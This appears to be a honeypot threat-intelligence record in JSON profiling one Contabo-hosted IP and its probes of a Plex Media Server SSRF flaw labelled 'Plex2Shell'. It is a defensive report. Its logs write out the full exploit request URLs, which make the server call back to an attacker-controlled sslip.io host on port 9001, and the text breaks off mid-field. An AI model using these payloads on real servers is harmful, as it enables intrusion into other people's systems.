{"ip":"154.53.48.251","data_as_of":"2026-10-26T10:41:30+00:00","observed":true,"total_events":12,"verdict":{"verdict":"probing","label":"Low-level probing","detail":null,"confidence":"low","network_type":"CDN","why":["35 event(s), fewer than 10 distinct ports, no exploit payloads.","Not in any known-scanner range.","Sent 144,962,579 bytes to few ports with no known exploit path, which is focused interaction with one service.","Counts include 23 interactive session(s) as well as first-packet events."],"engagement":{"level":"payload","label":"Sustained payload","detail":"144,962,579 bytes sent","bytes_sent":144962579,"session_seconds":12,"persistent":false},"basis":"combined"},"first_seen":"2026-10-23T23:02:03","last_seen":"2026-10-24T02:16:31","events_24h":0,"events_7d":12,"interactive_sessions":23,"interactive_sessions_24h":0,"interactive_sessions_7d":23,"interactive_protocols":[{"protocol":"http","sessions":23}],"geo":{"country_code":"US","country_name":"United States","region":"New Jersey","city":"Carlstadt","lat":40.8378,"lon":-74.0878,"asn":40021,"org":"Contabo Inc."},"source_domain":"vmi2985880.contaboserver.net","known_scanners":[],"scanner_tag":{"key":"contabo","label":"Contabo","category":"hosting_provider","url":"https://contabo.com/"},"cve_matches":[{"cve_id":"CVE-2026-96652","title":"Plex Media Server /player/timeline protocol SSRF (Plex2Shell stage 1)","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/player/timeline/subscribe?{{*}}protocol=http%3A%2F%2F127.0.0.1","kev_date_added":"2026-10-20"}],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":23,"first_seen":"2026-10-23T23:02:03","last_seen":"2026-10-23T23:03:47","verdicts":[{"verdict":"scan","sessions":21},{"verdict":"unknown","sessions":2}],"personas":[{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, fortigate@7.2.1, gitlab@19.4.2","sessions":21},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, dlink-dir645@1.03, fortigate@7.2.1, gitlab@19.4.2","sessions":2}],"services":[{"protocol":"http","port":443,"sessions":21},{"protocol":"http","port":80,"sessions":2}],"logins":[],"commands":[],"downloads":[],"files":[],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":21}]},"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":0,"sessions":21},{"port":32400,"proto":"tcp","label":"","count":12,"sessions":0},{"port":80,"proto":"tcp","label":"HTTP","count":0,"sessions":2}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cun139_00040013_762905fd_x04f40e7a4d805b1083f79d40aab3f122fdf8","b11cun040_00040013_608dab68"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"b11cun040_00040013_608dab68":4327,"b11cun139_00040013_762905fd_x04f40e7a4d805b1083f79d40aab3f122fdf8":1},"akin_families":{},"user_agents":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0"],"timeline":[{"date":"2026-10-23","count":0,"sessions":23},{"date":"2026-10-24","count":12,"sessions":0}],"recent_events":[{"timestamp":"2026-10-24T02:16:31","port":32400,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:32400\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0\",\"x-plex-client-identifier\":\"poc_99955\",\"x-plex-device\":\"poc\",\"x-plex-device-name\":\"poc\",\"x-plex-model\":\"poc\",\"x-plex-platform\":\"poc\",\"x-plex-platform-version\":\"1\",\"x-plex-product\":\"poc\",\"x-plex-token\":\"TOTALLY_INVALID_JUNK\",\"x-plex-version\":\"1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/player/timeline/unsubscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Target-Client-Identifier=poc_99955","summary":"","payload_hex":"474554202f706c617965722f74696d656c696e652f756e7375627363726962653f646576696365436c6173733d70632670726f746f636f6c4361706162696c69746965733d706c61796261636b2670726f746f636f6c56657273696f6e3d3126582d506c65782d5461726765742d436c69656e742d4964656e7469666965723d706f635f393939353520485454502f312e310d0a486f73743a20<HONEYPOT>3a33323430300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204368726f6d652f3132302e302e302e300d0a582d506c65782d436c69656e742d4964656e7469666965723a20706f635f39393935350d0a582d506c65782d4465766963653a20706f630d0a582d506c65782d4465766963652d4e616d653a20706f630d0a582d506c65782d4d6f64656c3a20706f630d0a582d506c65782d506c6174666f726d3a20706f630d0a582d506c65782d506c6174666f726d2d56657273696f6e3a20310d0a582d506c65782d50726f647563743a20706f630d0a582d506c65782d546f6b656e3a20544f54414c4c595f494e56414c49445f4a554e4b0d0a582d506c65782d56657273696f6e3a20310d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","ja3":"","session":"64b2cb38-e205-47c6-a4aa-6c712b42531d","seq":1,"duration_ms":100,"bytes_in":517,"bytes_out":78},{"timestamp":"2026-10-24T02:16:28","port":32400,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:32400\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0\",\"x-plex-client-identifier\":\"poc_99955\",\"x-plex-device\":\"poc\",\"x-plex-device-name\":\"poc\",\"x-plex-model\":\"poc\",\"x-plex-platform\":\"poc\",\"x-plex-platform-version\":\"1\",\"x-plex-product\":\"poc\",\"x-plex-token\":\"TOTALLY_INVALID_JUNK\",\"x-plex-version\":\"1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http%3A%2F%2F127.0.0.1%3A32400%2Fsystem%2Fagents%2Fz%2FsearchOne%3FmediaType%3D1%26lang%3Den%26identifier%3Dcom.plexapp.agents.thetvdb%252Ffunction%252FGetResultFromNetwork%253Furl%253Dhttp%253A%252F%252F127.0.0.1.154-53-48-251.sslip.io%253A9001%252FTKN_99955%2523&port=9001&commandID=1&X-Plex-Target-Client-Identifier=poc_99955","summary":"","payload_hex":"474554202f706c617965722f74696d656c696e652f7375627363726962653f646576696365436c6173733d70632670726f746f636f6c4361706162696c69746965733d706c61796261636b2670726f746f636f6c56657273696f6e3d312670726f746f636f6c3d687474702533412532462532463132372e302e302e31253341333234303025324673797374656d2532466167656e74732532467a2532467365617263684f6e652533466d6564696154797065253344312532366c616e67253344656e2532366964656e746966696572253344636f6d2e706c65786170702e6167656e74732e74686574766462253235324666756e6374696f6e2532353246476574526573756c7446726f6d4e6574776f726b253235334675726c2532353344687474702532353341253235324625323532463132372e302e302e312e3135342d35332d34382d3235312e73736c69702e696f2532353341393030312532353246544b4e5f3939393535253235323326706f72743d3930303126636f6d6d616e6449443d3126582d506c65782d5461726765742d436c69656e742d4964656e7469666965723d706f635f393939353520485454502f312e310d0a486f73743a20<HONEYPOT>3a33323430300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204368726f6d652f3132302e302e302e300d0a582d506c65782d436c69656e742d4964656e7469666965723a20706f635f39393935350d0a582d506c65782d4465766963653a20706f630d0a582d506c65782d4465766963652d4e616d653a20706f630d0a582d506c65782d4d6f64656c3a20706f630d0a582d506c65782d506c6174666f726d3a20706f630d0a582d506c65782d506c6174666f726d2d56657273696f6e3a20310d0a582d506c65782d50726f647563743a20706f630d0a582d506c65782d546f6b656e3a20544f54414c4c595f494e56414c49445f4a554e4b0d0a582d506c65782d56657273696f6e3a20310d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","ja3":"","session":"1f0398fb-23f6-4607-9e8b-2993718df58b","seq":1,"duration_ms":100,"bytes_in":811,"bytes_out":78},{"timestamp":"2026-10-24T02:16:26","port":32400,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:32400\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0\",\"x-plex-client-identifier\":\"poc_99955\",\"x-plex-device\":\"poc\",\"x-plex-device-name\":\"poc\",\"x-plex-model\":\"poc\",\"x-plex-platform\":\"poc\",\"x-plex-platform-version\":\"1\",\"x-plex-product\":\"poc\",\"x-plex-token\":\"TOTALLY_INVALID_JUNK\",\"x-plex-version\":\"1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/player/proxy/poll?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Client-Identifier=poc_99955","summary":"","payload_hex":"474554202f706c617965722f70726f78792f706f6c6c3f646576696365436c6173733d70632670726f746f636f6c4361706162696c69746965733d706c61796261636b2670726f746f636f6c56657273696f6e3d3126582d506c65782d436c69656e742d4964656e7469666965723d706f635f393939353520485454502f312e310d0a486f73743a20<HONEYPOT>3a33323430300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204368726f6d652f3132302e302e302e300d0a582d506c65782d436c69656e742d4964656e7469666965723a20706f635f39393935350d0a582d506c65782d4465766963653a20706f630d0a582d506c65782d4465766963652d4e616d653a20706f630d0a582d506c65782d4d6f64656c3a20706f630d0a582d506c65782d506c6174666f726d3a20706f630d0a582d506c65782d506c6174666f726d2d56657273696f6e3a20310d0a582d506c65782d50726f647563743a20706f630d0a582d506c65782d546f6b656e3a20544f54414c4c595f494e56414c49445f4a554e4b0d0a582d506c65782d56657273696f6e3a20310d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","ja3":"","session":"978e3244-1f51-40b6-8d52-a34a4b2d5ec2","seq":1,"duration_ms":100,"bytes_in":500,"bytes_out":78},{"timestamp":"2026-10-24T02:16:26","port":32400,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:32400\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/identity","summary":"","payload_hex":"474554202f6964656e7469747920485454502f312e310d0a486f73743a20<HONEYPOT>3a33323430300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204368726f6d652f3132302e302e302e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","ja3":"","session":"8609a8d0-6d92-4e99-bcc0-36b46ed116cd","seq":1,"duration_ms":100,"bytes_in":166,"bytes_out":78},{"timestamp":"2026-10-24T02:15:30","port":32400,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:32400\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0\",\"x-plex-client-identifier\":\"poc_90660\",\"x-plex-device\":\"poc\",\"x-plex-device-name\":\"poc\",\"x-plex-model\":\"poc\",\"x-plex-platform\":\"poc\",\"x-plex-platform-version\":\"1\",\"x-plex-product\":\"poc\",\"x-plex-token\":\"TOTALLY_INVALID_JUNK\",\"x-plex-version\":\"1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/player/timeline/unsubscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Target-Client-Identifier=poc_90660","summary":"","payload_hex":"474554202f706c617965722f74696d656c696e652f756e7375627363726962653f646576696365436c6173733d70632670726f746f636f6c4361706162696c69746965733d706c61796261636b2670726f746f636f6c56657273696f6e3d3126582d506c65782d5461726765742d436c69656e742d4964656e7469666965723d706f635f393036363020485454502f312e310d0a486f73743a20<HONEYPOT>3a33323430300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204368726f6d652f3132302e302e302e300d0a582d506c65782d436c69656e742d4964656e7469666965723a20706f635f39303636300d0a582d506c65782d4465766963653a20706f630d0a582d506c65782d4465766963652d4e616d653a20706f630d0a582d506c65782d4d6f64656c3a20706f630d0a582d506c65782d506c6174666f726d3a20706f630d0a582d506c65782d506c6174666f726d2d56657273696f6e3a20310d0a582d506c65782d50726f647563743a20706f630d0a582d506c65782d546f6b656e3a20544f54414c4c595f494e56414c49445f4a554e4b0d0a582d506c65782d56657273696f6e3a20310d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","ja3":"","session":"166afd39-a66b-44d1-bf30-32be190a9f01","seq":1,"duration_ms":101,"bytes_in":518,"bytes_out":78},{"timestamp":"2026-10-24T02:15:29","port":32400,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:32400\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0\",\"x-plex-client-identifier\":\"poc_90660\",\"x-plex-device\":\"poc\",\"x-plex-device-name\":\"poc\",\"x-plex-model\":\"poc\",\"x-plex-platform\":\"poc\",\"x-plex-platform-version\":\"1\",\"x-plex-product\":\"poc\",\"x-plex-token\":\"TOTALLY_INVALID_JUNK\",\"x-plex-version\":\"1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http%3A%2F%2F127.0.0.1%3A32400%2Fsystem%2Fagents%2Fz%2FsearchOne%3FmediaType%3D1%26lang%3Den%26identifier%3Dcom.plexapp.agents.thetvdb%252Ffunction%252FGetResultFromNetwork%253Furl%253Dhttp%253A%252F%252F127.0.0.1.154-53-48-251.sslip.io%253A9001%252FTKN_90660%2523&port=9001&commandID=1&X-Plex-Target-Client-Identifier=poc_90660","summary":"","payload_hex":"474554202f706c617965722f74696d656c696e652f7375627363726962653f646576696365436c6173733d70632670726f746f636f6c4361706162696c69746965733d706c61796261636b2670726f746f636f6c56657273696f6e3d312670726f746f636f6c3d687474702533412532462532463132372e302e302e31253341333234303025324673797374656d2532466167656e74732532467a2532467365617263684f6e652533466d6564696154797065253344312532366c616e67253344656e2532366964656e746966696572253344636f6d2e706c65786170702e6167656e74732e74686574766462253235324666756e6374696f6e2532353246476574526573756c7446726f6d4e6574776f726b253235334675726c2532353344687474702532353341253235324625323532463132372e302e302e312e3135342d35332d34382d3235312e73736c69702e696f2532353341393030312532353246544b4e5f3930363630253235323326706f72743d3930303126636f6d6d616e6449443d3126582d506c65782d5461726765742d436c69656e742d4964656e7469666965723d706f635f393036363020485454502f312e310d0a486f73743a20<HONEYPOT>3a33323430300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204368726f6d652f3132302e302e302e300d0a582d506c65782d436c69656e742d4964656e7469666965723a20706f635f39303636300d0a582d506c65782d4465766963653a20706f630d0a582d506c65782d4465766963652d4e616d653a20706f630d0a582d506c65782d4d6f64656c3a20706f630d0a582d506c65782d506c6174666f726d3a20706f630d0a582d506c65782d506c6174666f726d2d56657273696f6e3a20310d0a582d506c65782d50726f647563743a20706f630d0a582d506c65782d546f6b656e3a20544f54414c4c595f494e56414c49445f4a554e4b0d0a582d506c65782d56657273696f6e3a20310d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","ja3":"","session":"dc344850-8869-46c3-82af-85d0ec15be95","seq":1,"duration_ms":105,"bytes_in":812,"bytes_out":78},{"timestamp":"2026-10-24T02:15:28","port":32400,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:32400\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0\",\"x-plex-client-identifier\":\"poc_90660\",\"x-plex-device\":\"poc\",\"x-plex-device-name\":\"poc\",\"x-plex-model\":\"poc\",\"x-plex-platform\":\"poc\",\"x-plex-platform-version\":\"1\",\"x-plex-product\":\"poc\",\"x-plex-token\":\"TOTALLY_INVALID_JUNK\",\"x-plex-version\":\"1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/player/proxy/poll?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Client-Identifier=poc_90660","summary":"","payload_hex":"474554202f706c617965722f70726f78792f706f6c6c3f646576696365436c6173733d70632670726f746f636f6c4361706162696c69746965733d706c61796261636b2670726f746f636f6c56657273696f6e3d3126582d506c65782d436c69656e742d4964656e7469666965723d706f635f393036363020485454502f312e310d0a486f73743a20<HONEYPOT>3a33323430300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204368726f6d652f3132302e302e302e300d0a582d506c65782d436c69656e742d4964656e7469666965723a20706f635f39303636300d0a582d506c65782d4465766963653a20706f630d0a582d506c65782d4465766963652d4e616d653a20706f630d0a582d506c65782d4d6f64656c3a20706f630d0a582d506c65782d506c6174666f726d3a20706f630d0a582d506c65782d506c6174666f726d2d56657273696f6e3a20310d0a582d506c65782d50726f647563743a20706f630d0a582d506c65782d546f6b656e3a20544f54414c4c595f494e56414c49445f4a554e4b0d0a582d506c65782d56657273696f6e3a20310d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","ja3":"","session":"2384f36d-2aa7-47cd-8f74-46cc1a5112fc","seq":1,"duration_ms":100,"bytes_in":501,"bytes_out":78},{"timestamp":"2026-10-24T02:15:24","port":32400,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:32400\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/identity","summary":"","payload_hex":"474554202f6964656e7469747920485454502f312e310d0a486f73743a20<HONEYPOT>3a33323430300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204368726f6d652f3132302e302e302e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","ja3":"","session":"a2ceec49-157d-44e3-8e0e-dd7520638378","seq":1,"duration_ms":105,"bytes_in":167,"bytes_out":78},{"timestamp":"2026-10-24T02:11:56","port":32400,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:32400\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0\",\"x-plex-client-identifier\":\"poc_54188\",\"x-plex-device\":\"poc\",\"x-plex-device-name\":\"poc\",\"x-plex-model\":\"poc\",\"x-plex-platform\":\"poc\",\"x-plex-platform-version\":\"1\",\"x-plex-product\":\"poc\",\"x-plex-token\":\"TOTALLY_INVALID_JUNK\",\"x-plex-version\":\"1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/player/timeline/unsubscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Target-Client-Identifier=poc_54188","summary":"","payload_hex":"474554202f706c617965722f74696d656c696e652f756e7375627363726962653f646576696365436c6173733d70632670726f746f636f6c4361706162696c69746965733d706c61796261636b2670726f746f636f6c56657273696f6e3d3126582d506c65782d5461726765742d436c69656e742d4964656e7469666965723d706f635f353431383820485454502f312e310d0a486f73743a20<HONEYPOT>3a33323430300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204368726f6d652f3132302e302e302e300d0a582d506c65782d436c69656e742d4964656e7469666965723a20706f635f35343138380d0a582d506c65782d4465766963653a20706f630d0a582d506c65782d4465766963652d4e616d653a20706f630d0a582d506c65782d4d6f64656c3a20706f630d0a582d506c65782d506c6174666f726d3a20706f630d0a582d506c65782d506c6174666f726d2d56657273696f6e3a20310d0a582d506c65782d50726f647563743a20706f630d0a582d506c65782d546f6b656e3a20544f54414c4c595f494e56414c49445f4a554e4b0d0a582d506c65782d56657273696f6e3a20310d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","ja3":"","session":"50b4dd6a-6af2-4e7e-82aa-508b73ab500f","seq":1,"duration_ms":100,"bytes_in":518,"bytes_out":78},{"timestamp":"2026-10-24T02:11:55","port":32400,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:32400\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0\",\"x-plex-client-identifier\":\"poc_54188\",\"x-plex-device\":\"poc\",\"x-plex-device-name\":\"poc\",\"x-plex-model\":\"poc\",\"x-plex-platform\":\"poc\",\"x-plex-platform-version\":\"1\",\"x-plex-product\":\"poc\",\"x-plex-token\":\"TOTALLY_INVALID_JUNK\",\"x-plex-version\":\"1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http%3A%2F%2F127.0.0.1%3A32400%2Fsystem%2Fagents%2Fz%2FsearchOne%3FmediaType%3D1%26lang%3Den%26identifier%3Dcom.plexapp.agents.thetvdb%252Ffunction%252FGetResultFromNetwork%253Furl%253Dhttp%253A%252F%252F127.0.0.1.154-53-48-251.sslip.io%253A9001%252FTKN_54188%2523&port=9001&commandID=1&X-Plex-Target-Client-Identifier=poc_54188","summary":"","payload_hex":"474554202f706c617965722f74696d656c696e652f7375627363726962653f646576696365436c6173733d70632670726f746f636f6c4361706162696c69746965733d706c61796261636b2670726f746f636f6c56657273696f6e3d312670726f746f636f6c3d687474702533412532462532463132372e302e302e31253341333234303025324673797374656d2532466167656e74732532467a2532467365617263684f6e652533466d6564696154797065253344312532366c616e67253344656e2532366964656e746966696572253344636f6d2e706c65786170702e6167656e74732e74686574766462253235324666756e6374696f6e2532353246476574526573756c7446726f6d4e6574776f726b253235334675726c2532353344687474702532353341253235324625323532463132372e302e302e312e3135342d35332d34382d3235312e73736c69702e696f2532353341393030312532353246544b4e5f3534313838253235323326706f72743d3930303126636f6d6d616e6449443d3126582d506c65782d5461726765742d436c69656e742d4964656e7469666965723d706f635f353431383820485454502f312e310d0a486f73743a20<HONEYPOT>3a33323430300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204368726f6d652f3132302e302e302e300d0a582d506c65782d436c69656e742d4964656e7469666965723a20706f635f35343138380d0a582d506c65782d4465766963653a20706f630d0a582d506c65782d4465766963652d4e616d653a20706f630d0a582d506c65782d4d6f64656c3a20706f630d0a582d506c65782d506c6174666f726d3a20706f630d0a582d506c65782d506c6174666f726d2d56657273696f6e3a20310d0a582d506c65782d50726f647563743a20706f630d0a582d506c65782d546f6b656e3a20544f54414c4c595f494e56414c49445f4a554e4b0d0a582d506c65782d56657273696f6e3a20310d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","ja3":"","session":"a51886f1-3a41-49bc-ba89-ff940f42f3c5","seq":1,"duration_ms":100,"bytes_in":812,"bytes_out":78}],"http_methods":[{"method":"GET","count":13},{"method":"POST","count":10}],"distinct_ports_total":3,"top_paths":[{"path":"/","count":11,"ports":1},{"path":"/identity","count":3,"ports":1},{"path":"/player/proxy/poll?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Client-Identifier=poc_99955","count":1,"ports":1},{"path":"/player/timeline/unsubscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Target-Client-Identifier=poc_90660","count":1,"ports":1},{"path":"/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http%3A%2F%2F127.0.0.1%3A32400%2Fsystem%2Fagents%2Fz%2FsearchOne%3FmediaType%3D1%26lang%3Den%26identifier%3Dcom.plexapp.agents.thetvdb%252Ffunction%252FGetResultFromNetwork%253Furl%253Dhttp%253A%252F%252F127.0.0.1.154-53-48-251.sslip.io%253A9001%252FTKN_54188%2523&port=9001&commandID=1&X-Plex-Target-Client-Identifier=poc_54188","count":1,"ports":1},{"path":"/player/proxy/poll?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Client-Identifier=poc_54188","count":1,"ports":1},{"path":"/player/timeline/unsubscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Target-Client-Identifier=poc_99955","count":1,"ports":1},{"path":"/player/proxy/poll?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Client-Identifier=poc_90660","count":1,"ports":1},{"path":"/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http%3A%2F%2F127.0.0.1%3A32400%2Fsystem%2Fagents%2Fz%2FsearchOne%3FmediaType%3D1%26lang%3Den%26identifier%3Dcom.plexapp.agents.thetvdb%252Ffunction%252FGetResultFromNetwork%253Furl%253Dhttp%253A%252F%252F127.0.0.1.154-53-48-251.sslip.io%253A9001%252FTKN_90660%2523&port=9001&commandID=1&X-Plex-Target-Client-Identifier=poc_90660","count":1,"ports":1},{"path":"/player/timeline/unsubscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Target-Client-Identifier=poc_54188","count":1,"ports":1},{"path":"/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http%3A%2F%2F127.0.0.1%3A32400%2Fsystem%2Fagents%2Fz%2FsearchOne%3FmediaType%3D1%26lang%3Den%26identifier%3Dcom.plexapp.agents.thetvdb%252Ffunction%252FGetResultFromNetwork%253Furl%253Dhttp%253A%252F%252F127.0.0.1.154-53-48-251.sslip.io%253A9001%252FTKN_99955%2523&port=9001&commandID=1&X-Plex-Target-Client-Identifier=poc_99955","count":1,"ports":1}],"distinct_paths_total":11,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept-Encoding","Connection","Host","User-Agent","X-Plex-Client-Identifier","X-Plex-Device","X-Plex-Device-Name","X-Plex-Model","X-Plex-Platform","X-Plex-Platform-Version","X-Plex-Product","X-Plex-Token","X-Plex-Version"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Host","value":"<HONEYPOT>:32400","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","notable":false},{"name":"X-Plex-Client-Identifier","value":"poc_99955","notable":true},{"name":"X-Plex-Device","value":"poc","notable":true},{"name":"X-Plex-Device-Name","value":"poc","notable":true},{"name":"X-Plex-Model","value":"poc","notable":true},{"name":"X-Plex-Platform","value":"poc","notable":true},{"name":"X-Plex-Platform-Version","value":"1","notable":true},{"name":"X-Plex-Product","value":"poc","notable":true},{"name":"X-Plex-Token","value":"TOTALLY_INVALID_JUNK","notable":true},{"name":"X-Plex-Version","value":"1","notable":true}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2026-96652","tag_type":"cve","title":"Plex Media Server /player/timeline protocol SSRF (Plex2Shell stage 